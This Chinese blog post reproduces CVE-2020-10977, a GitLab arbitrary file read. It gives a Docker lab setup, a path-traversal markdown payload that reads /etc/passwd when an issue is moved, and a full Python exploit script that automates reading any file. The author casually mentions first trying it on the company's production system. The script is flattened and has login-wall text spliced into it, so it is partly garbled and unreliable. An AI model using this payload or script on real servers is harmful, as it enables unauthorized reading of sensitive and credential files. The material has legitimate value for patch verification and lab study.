GitLab任意文件读取(CVE-2020-10977)

  • A+
所属分类:安全文章 安全漏洞

上周五摸鱼的时候在Hackone看到GitLab文件读取漏洞,就试着拿公司生产环境搞了一下,文件没有读到还因为产生辣鸡数据被运维哥哥叼了一顿,本着不是很甘心的想法在本地搭建了一套才搞出来,以下是复现过程。


1.环境搭建

漏洞编号:CVE-2020-10977影响版本:GitLab GitLab CE/EE >=8.5 and <=12.9

复现是直接用docker拉的,中间的大概过程:

#配置浙大源,安装dockercurl -fsSL http://mirrors.zju.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -echo 'deb http://mirrors.zju.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.listsudo apt-get updatesudo apt-get install docker-ce
# 启动dockersystemctl start docker 
# 关闭apache占用的80端口/etc/init.d/apache2 stop
# 拉取GitLabdocker run --detach --hostname 192.168.109.128 --publish 443:443 --publish 80:80 --publish 22:22 --name gitlab --restart always --volume /root/config:/etc/gitlab --volume /root/logs:/var/log/gitlab --volume /root/data:/var/opt/gitlab gitlab/gitlab-ee:12.1.6-ee.0

注意:

① --hostname + 靶机IP

② 80,443为搭建后的gitlab端口

③拉取gitlab版本:gitlab-ee:12.1.6-ee.0

GitLab任意文件读取(CVE-2020-10977)

拉取完成后访问:http://192.168.109.128,回显正常。环境搭建成功。

GitLab任意文件读取(CVE-2020-10977)


2.漏洞复现

注册用户:test/12345678

GitLab任意文件读取(CVE-2020-10977)

①创建两个项目:project1,project2

GitLab任意文件读取(CVE-2020-10977)


GitLab任意文件读取(CVE-2020-10977)


创建issues,里面打payload:

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)

GitLab任意文件读取(CVE-2020-10977)

③移动 issues。从project1移动到project2:

GitLab任意文件读取(CVE-2020-10977)

移动完成后再project2中可以看到passwd文件,直接下载即可读取到敏感文件,漏洞复现成功:

GitLab任意文件读取(CVE-2020-10977)

⑤脚本梭哈:

#!/usr/bin/env python3 import sysimport jsonimport requestsimport argparsefrom bs4 import BeautifulSouprequests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) parser = argparse.ArgumentParser()parser.add_argument('url', help='Target URL with http(s)://')parser.add_argument('username', help='GitLab Username')parser.add_argument('password', help='GitLab Password')args = parser.parse_args() base_url = args.urlif base_url.startswith('http://') or base_url.startswith('https://'):  passelse:  print('[-] Include http:// or https:// in the URL!')  sys.exit()if base_url.endswith('/'):  base_url = base_url[:-1] username = args.usernamepassword = args.password login_url = base_url + '/users/sign_in'project_url = base_url + '/projects/new'create_url = base_url + '/projects'prev_issue_url = ''csrf_token = ''project_names = ['ProjectOne', 'ProjectTwo'] session = requests.Session() def banner():  print('-'*34)  print('--- CVE-2020-10977 ---------------')  print('--- GitLab Arbitrary File Read ---')  print('--- 12.9.0 & Below ---------------')  print('-'*34 + 'n')  print('[>] Found By : vakzz       [ https://hackerone.com/reports/827052 ]')  print('[>] PoC By   : thewhiteh4t [ https://twitter.com/thewhiteh4t      ]n') def show_info():  print('[+] Target        : ' + base_url)  print('[+] Username      : ' + username)  print('[+] Password      : ' + password)  print('[+] Project Names : {}, {}n'.format(project_names[0], project_names[1])) def login():  print('[!] Trying to Login...')  try:    login_req = session.get(login_url, verify=False)  except Exception as exc:    print('n[-] Exception : ' + str(exc))    sys.exit()   login_sc = login_req.status_code  if login_sc == 200:    login_resp = login_req.text    soup = BeautifulSoup(login_resp, 'html.parser')    meta = soup.find_all('meta')     for entry in meta:      if 'name' in entry.attrs:        if entry.attrs['name'] == 'csrf-token':          csrf_token = entry.attrs['content']  else:    print('[-] Status : ' + str(login_req.status_code))    sys.exit()   login_data = {    'utf8': '✓',        'authenticity_token': csrf_token,        'user
	
此处为隐藏的内容!
登录后才能查看!
'
: username,
'user
输入密码查看加密内容:

'
: password,
'user[remember_me]': 0 } login_req = session.post(login_url, data=login_data, allow_redirects=False) if login_req.status_code == 302 and 'redirected' in login_req.text: print('[+] Login Successful!') else: print('[-] Status : ' + str(login_req.status_code)) print('[-] Login Failed!') sys.exit() def create_project(project): global csrf_token print('[!] Creating {}...'.format(project)) try: project_req = session.get(project_url, verify=False) except Exception as exc: print('n[-] Exception : ' + str(exc)) sys.exit() project_resp = project_req.text soup = BeautifulSoup(project_resp, 'html.parser') inputs = soup.find_all('input') for entry in inputs: if 'name' in entry.attrs: if entry.attrs['name'] == 'project[namespace_id]': project_id = entry.attrs['value'] meta = soup.find_all('meta') for entry in meta: if 'name' in entry.attrs: if entry.attrs['name'] == 'csrf-token': csrf_token = entry.attrs['content'] create_data = { 'utf8': '✓', 'authenticity_token': csrf_token, 'project[ci_cd_only]': 'false', 'project[name]': project, 'project[namespace_id]': project_id, 'project[path]': project, 'project[description]': '', 'project[visibility_level]' : '0' } try: create_req = session.post(create_url, data=create_data, allow_redirects=False) except Exception as exc: print('n[-] Exception : ' + str(exc)) sys.exit() if create_req.status_code == 302 and 'redirected' in create_req.text: print('[+] {} Created Successfully!'.format(project)) else: pass def create_issue(project_name): global prev_issue_url print('[!] Creating an Issue...') issue_url = '{}/{}/{}/issues/new'.format(base_url, username, project_name) try: issue_req = session.get(issue_url, verify=False) except Exception as exc: print('n[-] Exception : ' + str(exc)) sys.exit() issue_resp = issue_req.text soup = BeautifulSoup(issue_resp, 'html.parser') meta = soup.find_all('meta') for entry in meta: if 'name' in entry.attrs: if entry.attrs['name'] == 'csrf-token': csrf_token = entry.attrs['content'] issue_create_url = issue_url.replace('/new', '') issue_data = { 'utf8': '✓', 'authenticity_token' : csrf_token, 'issue[title]': 'read_{}'.format(filename), 'issue[description]' : '![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../..{})'.format(filename), 'issue[confidential]' : '0', 'issue[assignee_ids][]' : '0', 'issue[label_ids][]' : '', 'issue[due_date]' : '', 'issue[lock_version]' : '0' } try: create_req = session.post(issue_create_url, data=issue_data, allow_redirects=False) except Exception as exc: print('n[-] Exception : ' + str(exc)) sys.exit() if create_req.status_code == 302 and 'redirected' in create_req.text: print('[+] Issue Created Successfully!') create_resp = create_req.text soup = BeautifulSoup(create_resp, 'html.parser') prev_issue_url = soup.find('a')['href'] if base_url.startswith('https://') and prev_issue_url.startswith('http://'): prev_issue_url = prev_issue_url.replace('http://', 'https://') else: print('[-] Status : ' + str(create_req.status_code)) print('[-] Failed to Create an Issue!') def move_issue(source, second, filename): print('[!] Moving Issue...') id_url = '{}/{}/{}'.format(base_url, username, second) try: id_req = session.get(id_url, verify=False) except Exception as exc: print('n[-] Exception : ' + str(exc)) sys.exit() id_resp = id_req.text soup = BeautifulSoup(id_resp, 'html.parser') body = soup.find('body') project_id = body.attrs['data-project-id'] move_url = prev_issue_url + '/move' try: csrf_req = session.get(prev_issue_url, verify=False) except Exception as exc: print('n[-] Exception : ' + str(exc)) sys.exit() csrf_resp = csrf_req.text soup = BeautifulSoup(csrf_resp, 'html.parser') meta = soup.find_all('meta') for entry in meta: if 'name' in entry.attrs: if entry.attrs['name'] == 'csrf-token': csrf_token = entry.attrs['content'] move_data = { "move_to_project_id": int(project_id) } move_data = json.dumps(move_data) move_headers = { 'X-CSRF-Token': csrf_token, 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/json;charset=UTF-8' } try: move_req = session.post(move_url, data=move_data, headers=move_headers) except Exception as exc: print('n[-] Exception : ' + str(exc)) sys.exit() if move_req.status_code == 200: print('[+] Issue Moved Successfully!') description = json.loads(move_req.text)["description"] filepath = description.split('](')[1][1:-1] fileurl = "{}/{}/{}/{}".format(base_url, username, second, filepath) print('[+] File URL : ' + fileurl) try: contents = session.get(fileurl, verify=False) except Exception as exc: print('n[-] Exception : ' + str(exc)) sys.exit() if contents.status_code == 404: print('[-] No such file or directory') else: print('n> ' + filename) print('{}nn{}n{}n'.format('-'*40, contents.text, '-'*40 )) elif move_req.status_code == 500: print('[-] Access Denied!') else: print('[-] Status : ' + str(move_req.status_code)) def delete_project(project): print('[!] Deleting {}...'.format(project)) delete_data = { 'utf8': '✓', '_method': 'delete', 'authenticity_token' : csrf_token } delete_url = '{}/{}/{}'.format(base_url, username, project) try: delete_req = session.post(delete_url, data=delete_data, verify=False) except Exception as exc: print('n[-] Exception : ' + str(exc)) sys.exit() if delete_req.status_code == 200: print('[+] {} Successfully Deleted!'.format(project)) else: print('[-] Status : ' + str(delete_req.status_code)) try: banner() show_info() login() for project in project_names: create_project(project) while True: filename = input('[>] Absolute Path to File : ') create_issue(project_names[0]) move_issue(project_names[0], project_names[1], filename)except KeyboardInterrupt: print('n[-] Keyboard Interrupt') for project in project_names: delete_project(project) sys.exit()

脚本来源:

https://blog.csdn.net/weixin_39811856/article/details/110390417

运行脚本,读取成功:

python gitlab.py http://192.168.109.128/ test 12345678# test 12345678创的是用户名&密码

GitLab任意文件读取(CVE-2020-10977)


3.复现视频

从hackone扒拉下来的复现视频,仅作参考:

参考地址:

https://blog.csdn.net/weixin_39811856/article/details/11039041https://hackerone.com/reports/827052

GitLab任意文件读取(CVE-2020-10977)

本文始发于微信公众号(安全鸭):GitLab任意文件读取(CVE-2020-10977)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: